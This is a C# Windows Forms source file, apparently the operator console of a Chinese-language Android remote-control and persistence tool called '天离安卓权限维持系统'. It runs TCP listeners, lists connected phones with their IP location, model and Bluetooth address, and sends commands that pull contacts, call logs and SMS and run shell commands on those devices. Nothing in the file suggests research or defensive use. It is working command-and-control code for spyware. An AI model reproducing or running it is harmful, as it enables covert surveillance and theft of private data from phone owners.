﻿using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using NLog;
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using System.Timers;
using System.Windows.Forms;
using 天离安卓权限维持系统.Android_Form;
using static System.Windows.Forms.VisualStyles.VisualStyleElement;
using Timer = System.Windows.Forms.Timer;

namespace 天离安卓权限维持系统
{
    public partial class Form1 : Form
    {
        // 日志
        private static readonly Logger logger = LogManager.GetCurrentClassLogger();
        private Services.TcpServer_Services _server; // TCP服务器实例
        private Random random;
        private Timer timer;

        public Form1()
        {
            InitializeComponent();
            StartPosition = FormStartPosition.CenterScreen;
            Control.CheckForIllegalCrossThreadCalls = false;
        }

        private void button1_Click(object sender, EventArgs e)
        {
            // Android 4.4（API 19）及以上版本，只有被设定为默认短信应用的应用才能直接发送短信
        }
        
        private void Form1_Load(object sender, EventArgs e)
        {
            //// 检查 tabPage7 是否存在
            //if (tabControl1.TabPages.Contains(tabPage7))
            //{
            //    // 创建新窗体
            //    ConSoleInfo formTabPage = new ConSoleInfo();

            //    // 加载 tabPage7 的控件
            //    formTabPage.LoadTabPage(tabPage6);

            //    // 设置新窗体的位置，定位在主窗体下方
            //    formTabPage.StartPosition = FormStartPosition.Manual;
            //    formTabPage.Location = new System.Drawing.Point(this.Location.X, this.Location.Y + this.Height);

            //    // 打开新窗体
            //    formTabPage.Show();

            //    // 从 TabControl 中移除 tabPage7
            //    tabControl1.TabPages.Remove(tabPage6);
            //}

            // 进行日志输出
            string[] data = { "正在启动监听", DateTime.Now.ToString() };
            AddToListView(data);
            // 加载监听列表
            LoadListerner();

            tabControl1.TabPages.Remove(tabPage6);

            // 执行IP延迟监测
            timer1 = new Timer();
            timer1.Interval = 5000; // 设置为 3 秒
            timer1.Tick += Timer1_Tick;
            timer1.Start();

            // 一直获取肯定不行
            timer = new Timer();
            timer.Interval = 5000; // 设置为5秒
            timer.Tick += Timer_Tick;
            timer.Start();

            //StartListnner(); // 启动TCP监听
        }
        /// <summary>
        /// 主要监听回传的事件，根据返回的标识来执行对应的事件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void Timer_Tick(object sender, EventArgs e)
        {
            string code = Api.TcpApi.InfoCode;
            Console.WriteLine("回传的参数：" + code);
            
            // 首次获取专用，获取完成一定要进行清空操作，否则一直更新数据到UI
            if (code == "getsysteminfo")
            {
                Thread th = new Thread(GetSystemInfo);
                th.IsBackground = false;
                th.Start();
                Api.TcpApi.InfoCode = null;

            }
            else if(code == "getcontacts")
            {
                Thread th = new Thread(GetContacts);
                th.IsBackground = false;
                th.Start();
                // 执行通讯录传出
                Api.TcpApi.InfoCode = null;
            }
            else if (code == "getth")
            {
                Thread th = new Thread(Getth);
                th.IsBackground = false;
                th.Start();
                // 通话记录传出
                Api.TcpApi.InfoCode = null;
            }
            else if (code == "getcmd")
            {
                Thread th = new Thread(GetCmd);
                th.IsBackground = false;
                th.Start();
                // 通话记录传出
                Api.TcpApi.InfoCode = null;
            }
            else
            {
                Console.WriteLine("非正常参数：" + code);
            }
        }
        public void GetCmd()
        {
            string cmd = Api.TcpApi.GetContracsb.ToString();
            StringBuilder sb = new StringBuilder();

            foreach (var code in cmd)
            {
                sb.Append(code);
            }

            // 统一更新 RichTextBox 的文本
            richTextBox2.AppendText(sb.ToString() + Environment.NewLine);
            richTextBox2.ScrollToCaret();
        }
        public void Getth()
        {
            // 假设 Api.TcpApi.GetContracsb.ToString() 返回一个 JSON 格式的字符串
            string jsonString = Api.TcpApi.GetContracsb.ToString();

            // 解析 JSON 数据
            var contactList = JsonConvert.DeserializeObject<List<List<Dictionary<string, object>>>>(jsonString);

            // 检查是否存在数据
            if (contactList.Count > 0)
            {
                var contacts = contactList[0]; // 取出第一个列表

                // 清空 ListView（如果需要）
                listView4.Items.Clear();

                // 将数据添加到 ListView
                int index = 1;
                foreach (var contact in contacts)
                {
                    ListViewItem item = new ListViewItem(index.ToString()); // 序号
                    item.SubItems.Add(contact["contactName"].ToString().Trim()); // 姓名
                    item.SubItems.Add(contact["number"].ToString().Trim()); // 号码
                    item.SubItems.Add(DateTimeOffset.FromUnixTimeMilliseconds(Convert.ToInt64(contact["date"])).ToString("yyyy-MM-dd HH:mm:ss")); // 日期
                    item.SubItems.Add(contact["type"].ToString().Trim()); // 类型
                    item.SubItems.Add(contact["duration"].ToString().Trim() + " /s"); // 时长
                    

                    listView4.Items.Add(item);
                    index++;
                }
            }
            else
            {
                // 处理没有联系人数据的情况
                MessageBox.Show("没有联系人数据。");
            }
        }
        /// <summary>
        /// 回传通讯录
        /// </summary>
        public void GetContacts()
        {
            try
            {
                // 假设 Api.TcpApi.GetContracsb.ToString() 返回一个 JSON 格式的字符串
                string jsonString = Api.TcpApi.GetContracsb.ToString();
                logger.Info("正常解析:" + jsonString + "\r\n");

                // 解析 JSON 数据
                var contactList = JsonConvert.DeserializeObject<List<List<Dictionary<string, object>>>>(jsonString);

                logger.Info("json解析:" + contactList + "\r\n");
                // 检查是否存在数据
                if (contactList.Count > 0)
                {
                    var contacts = contactList[0]; // 取出第一个列表

                    // 清空 ListView（如果需要）
                    listView5.Items.Clear();

                    // 将数据添加到 ListView
                    int index = 1;
                    foreach (var contact in contacts)
                    {
                        ListViewItem item = new ListViewItem(index.ToString()); // 序号
                        item.SubItems.Add(contact["name"].ToString().Trim()); // 姓名
                        item.SubItems.Add(contact["number"].ToString().Trim()); // 号码
                        item.SubItems.Add(DateTime.Now.ToString()); // 日期


                        listView5.Items.Add(item);
                        index++;
                    }
                }
                else
                {
                    // 处理没有联系人数据的情况
                    MessageBox.Show("没有联系人数据。");
                    logger.Info("没有通讯录信息：" + DateTime.Now.ToString() + "\r\n");
                }
            }
            catch(Exception ex)
            {
                logger.Error("通讯录获取错误：" + DateTime.Now.ToString() + "\r\n" + ex.ToString() + "\r\n");
            }
        }
        /// <summary>
        /// 获取系统信息显示在组件中
        /// </summary>
        public void GetSystemInfo()
        {
            string jsonData = Api.TcpApi.ListSysteminfo;
            if (string.IsNullOrEmpty(jsonData))
            {
                Console.WriteLine("执行时间：" + "返回的系统信息为空，不做处理");
            }
            else
            {
                JObject jsonObject = JObject.Parse(jsonData);
                string deviceName = jsonObject["设备名称"].ToString();
                string androidVersion = jsonObject["安卓版本"].ToString();
                string bluetoothAddress = jsonObject["蓝牙地址"].ToString();

                // 遍历 ListView 中的每一行
                try
                {
                    foreach (ListViewItem item in listView1.Items)
                    {
                        // 检查第一列是否存在内容
                        if (!string.IsNullOrWhiteSpace(item.SubItems[0].Text))
                        {
                            // 检查第三列、第四列、第五列是否存在内容
                            if (string.IsNullOrWhiteSpace(item.SubItems[3].Text))
                            {
                                item.SubItems[3].Text = deviceName;
                            }

                            if (string.IsNullOrWhiteSpace(item.SubItems[4].Text))
                            {
                                item.SubItems[4].Text = androidVersion; // 安卓版本
                            }

                            if (string.IsNullOrWhiteSpace(item.SubItems[5].Text))
                            {
                                item.SubItems[5].Text = bluetoothAddress; // 蓝牙地址
                            }
                        }
                    }
                    Api.TcpApi.ListSysteminfo = null;
                }
                catch (Exception ex)
                {
                    Console.WriteLine("执行时间：" + ex.ToString());
                }
            }
        }
        private async void Timer1_Tick(object sender, EventArgs e)
        {
            // 检查 ListView 是否为空
            if (listView1.Items.Count == 0)
            {
                // 如果 ListView 为空，可以选择跳过检测，或是记录日志等
                return; // 跳出方法，不进行 Ping 检测
            }

            // 遍历 ListView 中的每一行
            foreach (ListViewItem item in listView1.Items)
            {
                Console.WriteLine("执行时间：" + "正在检测延迟：" + item.SubItems[1].Text); // 假设 IP 地址在第一列
                string ipAddress = item.SubItems[1].Text; // 获取 IP 地址

                // 异步执行 Ping 操作
                long delay = await Task.Run(() => TestPing(ipAddress)); // 在后台线程中执行 Ping 测试
                item.SubItems[2].Text = delay.ToString() + " /ms"; // 更新延迟到 ListView
            }
        }
        private long TestPing(string ipAddress)
        {
            try
            {
                using (Ping ping = new Ping())
                {
                    // 发送 ping 请求
                    PingReply reply = ping.Send(ipAddress);
                    return reply.RoundtripTime; // 返回延迟时间
                }
            }
            catch (Exception ex)
            {
                // 如果发生错误，返回 -1 或其他适当的值
                return -1;
            }
        }
        /// <summary>
        /// 封装的日志记录输出到listview组件中
        /// </summary>
        /// <param name="items"></param>
        private void AddToListView(string[] items)
        {
            random = new Random(); // 实例化 Random 对象
            // 生成一个随机 ID
            int id = random.Next(1, 10000); // 随机生成 1 到 9999 之间的 ID

            // 创建 ListViewItem
            ListViewItem listViewItem = new ListViewItem(id.ToString()); // 将 ID 转换为字符串并添加到第一列
            // 添加子项
            for (int i = 0; i < items.Length; i++)
            {
                listViewItem.SubItems.Add(items[i]);
            }
            // 将 ListViewItem 添加到 ListView
            listView3.Items.Add(listViewItem);
        }

        

        private async Task StartListnner()
        {
            // 从接口获取
            string ipaddress = Api.TcpApi.ListerIpaddress.ToString();
            string port = Api.TcpApi.ListerPort.ToString();
            _server = new Services.TcpServer_Services(ipaddress, Convert.ToInt16(port));
            _server.ClientConnected += UpdateListView; // 订阅事件
            _server.ClientDisconnected += RemoveFromListView; // 订阅断开连接事件

            Thread serverThread = new Thread(_server.Start);
            serverThread.IsBackground = true;
            serverThread.Start();
            string[] data = { "监听启动成功", DateTime.Now.ToString() };
            AddToListView(data);

            // 需要去更新选中的值
        }
        public void UpdateListViewWithClientData(Guid clientId, TcpClient client, string deviceName, string androidVersion, string bluetoothAddress)
        {
            if (listView1.InvokeRequired)
            {
                listView1.Invoke(new Action(() => UpdateListViewWithClientData(clientId, client, deviceName, androidVersion, bluetoothAddress)));
            }
            else
            {
                var ip = ((IPEndPoint)client.Client.RemoteEndPoint).Address.ToString();

                // 创建 ListViewItem 并填充数据
                ListViewItem item = new ListViewItem(clientId.ToString()); // GUID
                item.SubItems.Add(ip); // IP 地址
                item.SubItems.Add(deviceName); // 设备名称
                item.SubItems.Add(androidVersion); // 安卓版本
                item.SubItems.Add(bluetoothAddress); // 蓝牙地址

                // 添加到 listview1
                listView1.Items.Add(item);
            }
        }


        private void UpdateListView(Guid clientId, string ipAddress)
        {
            // 在 UI 线程中更新 ListView
            if (listView1.InvokeRequired)
            {
                listView1.Invoke(new Action(() => UpdateListView(clientId, ipAddress)));
            }
            else
            {
                Services.Random_Services rng = new Services.Random_Services();
                int randomNumber = rng.GenerateRandomNumber();
                // ID
                ListViewItem item = new ListViewItem(randomNumber.ToString());
                // 目标IP
                item.SubItems.Add(ipAddress);
                // 目标端口
                item.SubItems.Add("");
                // 本地IP
                item.SubItems.Add("");
                // 本地端口
                item.SubItems.Add("");
                // 接收缓冲区大小
                item.SubItems.Add("");
                // 唯一身份标识
                item.SubItems.Add(clientId.ToString());
                // 需要获取IP地址归属
                var ip = Services.GetIPInfo.GetIpInfoAsync(ipAddress);

                string ipcode = Api.Public_Api.IpCity;
                if (ipcode == null)
                {
                    item.SubItems.Add("本地局域网");
                }
                else
                {
                    item.SubItems.Add(ipcode);
                }
             
                item.Tag = clientId; // 用 Tag 属性保存 clientId
                listView1.Items.Add(item);

                // 将客户端标识添加到 comboBox1
                if (!comboBox1.Items.Contains(clientId.ToString()))
                {
                    comboBox1.Items.Add(clientId.ToString());
                }
                if (!comboBox2.Items.Contains(clientId.ToString()))
                {
                    comboBox2.Items.Add(clientId.ToString());
                }
                if (!comboBox3.Items.Contains(clientId.ToString()))
                {
                    comboBox3.Items.Add(clientId.ToString());
                }
                if (!comboBox5.Items.Contains(clientId.ToString()))
                {
                    comboBox5.Items.Add(clientId.ToString());
                }
            }
        }

        private void RemoveFromListView(Guid clientId)
        {
            if (listView1.InvokeRequired)
            {
                listView1.Invoke(new Action(() => RemoveFromListView(clientId)));
            }
            else
            {
                // 从 listView1 中移除客户端信息
                foreach (ListViewItem item in listView1.Items)
                {
                    if ((Guid)item.Tag == clientId)
                    {
                        listView1.Items.Remove(item);
                        break; // 找到并移除后退出循环
                    }
                }
                string[] data = { "客户端断开连接，已从组件中移除标识信息", DateTime.Now.ToString() };
                AddToListView(data);
                // 从 comboBox1 中移除客户端标识
                if (comboBox1.Items.Contains(clientId.ToString()))
                {
                    comboBox1.Items.Remove(clientId.ToString());
                }
                if (comboBox2.Items.Contains(clientId.ToString()))
                {
                    comboBox2.Items.Remove(clientId.ToString());
                }
                if (comboBox3.Items.Contains(clientId.ToString()))
                {
                    comboBox3.Items.Remove(clientId.ToString());
                }
                if (comboBox5.Items.Contains(clientId.ToString()))
                {
                    comboBox5.Items.Remove(clientId.ToString());
                }
            }
        }

        private void button5_Click(object sender, EventArgs e)
        {
            Android_Form.Listerner listerner = new Android_Form.Listerner();
            listerner.StartPosition = FormStartPosition.CenterScreen;
            listerner.ShowDialog();
        }
        /// <summary>
        /// 加载监听
        /// </summary>
        public void LoadListerner()
        {
            listView2.Items.Clear();
            string jsonFilePath = "listerner.json";

            try
            {
                if (File.Exists(jsonFilePath))
                {
                    string jsonData = File.ReadAllText(jsonFilePath);
                    var listeners = JsonConvert.DeserializeObject<Api.ListConfigApi.ListenerList>(jsonData);

                    foreach (var listener in listeners.Listeners)
                    {
                        ListViewItem item = new ListViewItem(listener.id.ToString());
                        item.SubItems.Add(listener.listenIP);
                        item.SubItems.Add(listener.listenPort.ToString());
                        item.SubItems.Add(listener.listenStatus);
                        item.SubItems.Add(listener.listenRemarks);
                        item.SubItems.Add(listener.payload);

                        listView2.Items.Add(item);

                    }
                    string[] data = { "根据配置，成功读取到监听配置并加载到组件中", DateTime.Now.ToString() };
                    AddToListView(data);
                }
                else
                {
                    string[] data = { "未能成功读取到监听配置，或监听配置存在异常", DateTime.Now.ToString() };
                    AddToListView(data);
                }
            }
            catch (Exception ex)
            {
                // 异常抛出到日志中心
                string[] data = { ex.ToString(), DateTime.Now.ToString() };
                AddToListView(data);
            }
        }

        private void button6_Click(object sender, EventArgs e)
        {
            Android_Form.Listerner listerner = new Android_Form.Listerner();
            listerner.StartPosition = FormStartPosition.CenterScreen;
            listerner.Show();
        }

        private void 权限中心ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Android_Form.System_Info info = new Android_Form.System_Info();
            info.StartPosition = FormStartPosition.CenterScreen;
            info.Show();
        }

        private void 启动监听ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView2.SelectedItems.Count > 0)
            {
                ListViewItem selectedItem = listView2.SelectedItems[0];

                // IP地址
                string ipaddress = selectedItem.SubItems[1].Text;
                // 端口 string类型
                string port = selectedItem.SubItems[2].Text;
                // 启动监听
                Api.TcpApi.ListerIpaddress = ipaddress.ToString();
                Api.TcpApi.ListerPort = port.ToString();

                string[] data = { "获取监听的IP地址和端口", DateTime.Now.ToString() };
                AddToListView(data);
                // 启动监听
                StartListnner();
                // 更新数据
                int selectedId = int.Parse(listView2.SelectedItems[0].Text); // 从0列开始
                string jsonFilePath = "listerner.json";
                Api.ListConfigApi.ListenerList listenerList = Services.Json_Services.ReadJson(jsonFilePath); // 读取 JSON 数据

                if (listenerList != null)
                {
                    // 根据 ID 查找要更新的监听器
                    var listenerToUpdate = listenerList.Listeners.FirstOrDefault(l => l.id == selectedId);
                    if (listenerToUpdate != null)
                    {
                        // 更新第四列的值
                        listenerToUpdate.listenStatus = "running"; // 假设第四列对应的属性是 listenStatus

                        // 写回 JSON 文件
                        Services.Json_Services.WriteJson(jsonFilePath, listenerList);

                        // 刷新 ListView 显示
                        string[] datacode = { "监听状态更新成功", DateTime.Now.ToString() };
                        AddToListView(datacode);
                        LoadListerner(); // 重新加载数据
                    }
                    else
                    {
                        MessageBox.Show("无法查询到监听"); // 找不到监听器提示
                    }
                }
                else
                {
                    MessageBox.Show("监听列表为空"); // 列表为空提示
                }

            }
            else
            {
                MessageBox.Show("不存在监听，请新增");
            }
        }

        private void 管理配置ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Android_Form.System_Config config = new Android_Form.System_Config();
            config.StartPosition = FormStartPosition.CenterScreen;
            config.ShowDialog();
        }

        private void 删除监听ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            DelListerNer();
        }
        public void DelListerNer()
        {
            try
            {
                if (listView2.SelectedItems.Count > 0) // 确保有选中的项
                {
                    int selectedId = int.Parse(listView2.SelectedItems[0].Text); // 从0列开始
                    string jsonFilePath = "listerner.json";
                    Api.ListConfigApi.ListenerList listenerList = Services.Json_Services.ReadJson(jsonFilePath); // 读取 JSON 数据

                    if (listenerList != null)
                    {
                        // 根据 ID 查找要删除的监听器
                        var listenerToRemove = listenerList.Listeners.FirstOrDefault(l => l.id == selectedId);
                        if (listenerToRemove != null)
                        {
                            listenerList.Listeners.Remove(listenerToRemove); // 从列表中移除
                                                                             // 确保使用 Api.ListConfigApi.ListenerList
                            Services.Json_Services.WriteJson(jsonFilePath, listenerList); // 写回 JSON 文件
                            MessageBox.Show("删除监听成功"); // 删除成功提示
                            string[] data = { "删除监听成功", DateTime.Now.ToString() };
                            AddToListView(data);
                            LoadListerner(); // 重新加载数据
                        }
                        else
                        {
                            MessageBox.Show("无法查询到监听"); // 找不到监听器提示
                        }
                    }
                    else
                    {
                        MessageBox.Show("监听列表为空"); // 列表为空提示
                    }
                }
                else
                {
                    MessageBox.Show("请选择需要删除的监听"); // 未选择项提示
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show("异常：" + ex.ToString()); // 异常处理
            }
        }

        private void button8_Click(object sender, EventArgs e)
        {
            DelListerNer();
        }

        private void 刷新ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            LoadListerner();
        }
        /// <summary>
        /// 增加一个窗口关闭事件实现将所有状态更改为stop
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            var result = MessageBox.Show("您确定要关闭程序吗？如果关闭将停止所有监听", "确认", MessageBoxButtons.YesNo, MessageBoxIcon.Question);

            // 根据用户选择决定是否关闭窗体
            if (result == DialogResult.No)
            {
                e.Cancel = true; // 取消关闭操作
            }
            else
            {
                Services.UpdateLister_Services.Updata_Lister(Api.Public_Api.I1);
            }
        }
        private Services.ConsoleOutputListener_Services _consoleListener;
        private void 控制台模式ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            var result = MessageBox.Show("您确定开启控制台模式吗？开启后将获取所有基于控制台的输出", "确认", MessageBoxButtons.YesNo, MessageBoxIcon.Question);

            if (result == DialogResult.No)
            {
                return;
            }
            else
            {
                // 显示控制台
                tabControl1.TabPages.Add(tabPage6);
                // 定位
                tabControl1.SelectedTab = tabPage6;

                if(richTextBox3.Lines.Length > 10000)
                {
                    // 行数过大会造成UI卡顿，超出清空处理
                    richTextBox3.Clear();
                }
                _consoleListener = new Services.ConsoleOutputListener_Services(richTextBox3);
                Console.SetOut(_consoleListener);

            }
        }

        private void 任务列表ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Android_Form.Task_Center center = new Android_Form.Task_Center();
            center.StartPosition = FormStartPosition.CenterScreen;
            center.ShowDialog();
        }

        private void 数据中心ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            // 主要展示通过任务获取的数据，根据不同设备在数据库中进行读取
        }

        private void 创建任务ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Android_Form.Task_Add add = new Android_Form.Task_Add();
            add.StartPosition = FormStartPosition.CenterScreen;
            add.ShowDialog();
        }
        public async void GetSystem_Info()
        {
            string selectedClientIdString = Api.TcpApi.ApiBs;

            // 传出标识
            Api.TcpApi.ClientId = selectedClientIdString;

            string messageToSend = $"{{\"command\":\"{Api.TcpApi.Command}\", \"clientId\":\"{Api.TcpApi.ClientId}\"}}"; // 使用 JSON 格式发送

            // 将选定的客户端 ID 转换为 Guid
            if (Guid.TryParse(selectedClientIdString, out Guid clientId))
            {
                if (_server != null && _server.Clients.TryGetValue(clientId, out TcpClient client))
                {
                    // 发送消息
                    //await _server.SendMessageToClient(clientId, Api.TcpApi.Command);

                    // 调用 HandleClient 方法处理该客户端
                    await _server.HandleClient(client, clientId);
                }
                else
                {
                    MessageBox.Show("客户端未连接或不存在。");
                }
            }
            else
            {
                MessageBox.Show("客户端标识无效。");
            }
        }
        private async void button2_Click(object sender, EventArgs e)
        {
            // 获取短信
            Api.TcpApi.Command = "?";
            Api.TcpApi.ApiBs = comboBox1.Text;
            Thread th = new Thread(GetSystem_Info);
            th.IsBackground = true;
            th.Start();
        }
        private void button9_Click(object sender, EventArgs e)
        {
            // 先清空
            listView5.Items.Clear();
            // 定义获取通讯录的指令
            Api.TcpApi.Command = "getcontacts";
            Api.TcpApi.ApiBs = comboBox2.Text;
            Thread th = new Thread(GetSystem_Info);
            th.IsBackground = true;
            th.Start();
        }

        private void 停止监听ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            
        }
        /// <summary>
        /// 获取通话记录
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void button12_Click(object sender, EventArgs e)
        {
            Api.TcpApi.Command = "getth";
            Api.TcpApi.ApiBs = comboBox3.Text;
            Thread th = new Thread(GetSystem_Info);
            th.IsBackground = true;
            th.Start();
        }

        private void 获取短信ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                // 获取选中的项
                ListViewItem selectedItem = listView1.SelectedItems[0];

                // 检查是否有足够的列
                if (selectedItem.SubItems.Count > 1) // 确保有第二列和第三列
                {
                    // 获取第二列和第三列的值
                    string uid = selectedItem.SubItems[6].Text;
                    comboBox1.Text = uid;
                    this.tabControl1.SelectedTab = tabPage2;
                }
                else
                {
                    MessageBox.Show("选中项没有足够的列数据。");
                }
            }
            else
            {
                MessageBox.Show("请先选择一项。");
            }
        }

        private void 获取通讯录ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                // 获取选中的项
                ListViewItem selectedItem = listView1.SelectedItems[0];

                // 检查是否有足够的列
                if (selectedItem.SubItems.Count > 1) // 确保有第二列和第三列
                {
                    // 获取第二列和第三列的值
                    string uid = selectedItem.SubItems[6].Text;
                    comboBox2.Text = uid;
                    this.tabControl1.SelectedTab = tabPage3;
                }
                else
                {
                    MessageBox.Show("选中项没有足够的列数据。");
                }
            }
            else
            {
                MessageBox.Show("请先选择一项。");
            }
        }

        private void 获取通话记录ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                // 获取选中的项
                ListViewItem selectedItem = listView1.SelectedItems[0];

                // 检查是否有足够的列
                if (selectedItem.SubItems.Count > 1) // 确保有第二列和第三列
                {
                    // 获取第二列和第三列的值
                    string uid = selectedItem.SubItems[6].Text;
                    comboBox3.Text = uid;
                    this.tabControl1.SelectedTab = tabPage4;
                }
                else
                {
                    MessageBox.Show("选中项没有足够的列数据。");
                }
            }
            else
            {
                MessageBox.Show("请先选择一项。");
            }
        }
        private void 命令执行ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                // 获取选中的项
                ListViewItem selectedItem = listView1.SelectedItems[0];

                // 检查是否有足够的列
                if (selectedItem.SubItems.Count > 1) // 确保有第二列和第三列
                {
                    // 获取第二列和第三列的值
                    string uid = selectedItem.SubItems[6].Text;
                    comboBox5.Text = uid;
                    this.tabControl1.SelectedTab = tabPage7;
                }
                else
                {
                    MessageBox.Show("选中项没有足够的列数据。");
                }
            }
            else
            {
                MessageBox.Show("请先选择一项。");
            }
        }
        private void button6_Click_1(object sender, EventArgs e)
        {
            richTextBox2.Clear();
            Api.TcpApi.Command = "getcmd";
            Api.TcpApi.ApiBs = comboBox5.Text;
            Thread th = new Thread(GetSystem_Info);
            th.IsBackground = true;
            th.Start();
        }
    }
}
